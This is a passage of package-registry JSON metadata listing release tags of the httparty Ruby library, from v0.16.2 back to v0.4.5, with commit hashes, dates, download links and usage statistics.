ind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-27T18:03:04.818Z","dependent_packages_count":0,"downloads":5590,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":66.20928406440039,"dependent_repos_c